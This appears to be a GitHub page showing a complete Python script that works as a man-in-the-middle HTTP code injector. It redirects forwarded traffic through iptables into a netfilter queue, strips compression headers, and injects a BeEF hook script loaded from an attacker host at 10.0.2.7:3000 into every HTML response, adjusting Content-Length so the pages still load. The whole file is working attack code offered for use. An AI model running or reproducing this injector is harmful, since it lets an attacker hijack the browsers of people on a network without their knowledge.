-
Notifications
You must be signed in to change notification settings - Fork 12
Expand file tree
/
Copy pathcode_injector.py
More file actions
58 lines (49 loc) · 1.99 KB
/
code_injector.py
File metadata and controls
58 lines (49 loc) · 1.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python
import netfilterqueue
import subprocess
import scapy.all as scapy
import re
regex_string = 'Accept-Encoding:.*?\\r\\n'
beef = '<script src=http://10.0.2.7:3000/hook.js></script>'
alert = "<script> alert('test')</script>"
injection_code = beef
def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def proccess_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
load = scapy_packet[scapy.Raw].load
if scapy_packet[scapy.TCP].dport == 80:
print("\n[+] HTTP Request")
load =re.sub(regex_string, "", load)
elif scapy_packet[scapy.TCP].sport == 80:
print("\n[+] HTTP Response")
print(load)
load = load.replace("</body>", injection_code + "</body>")
content_length_search = re.search("(?:Content-Length:\s)(\d*)", load)
if content_length_search and "text/html" in load:
content_length = content_length_search.group(1)
new_content_length = int(content_length) + len(injection_code)
load = load.replace(content_length, str(new_content_length))
print(content_length)
if load != scapy_packet[scapy.Raw].load:
new_packet = set_load(scapy_packet, load)
packet.set_payload(str(new_packet))
packet.accept()
# For local Testing
# subprocess.call("iptables -I OUTPUT -j NFQUEUE --queue-num 0", shell=True)
# subprocess.call("iptables -I INPUT -j NFQUEUE --queue-num 0", shell=True)
# For Forwarding remote network
subprocess.call("iptables -I FORWARD -j NFQUEUE --queue-num 0", shell=True)
try:
while True:
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, proccess_packet)
queue.run()
except KeyboardInterrupt:
subprocess.call("iptables --flush", shell=True)
print("\nStopped.. IP Tables Flushed")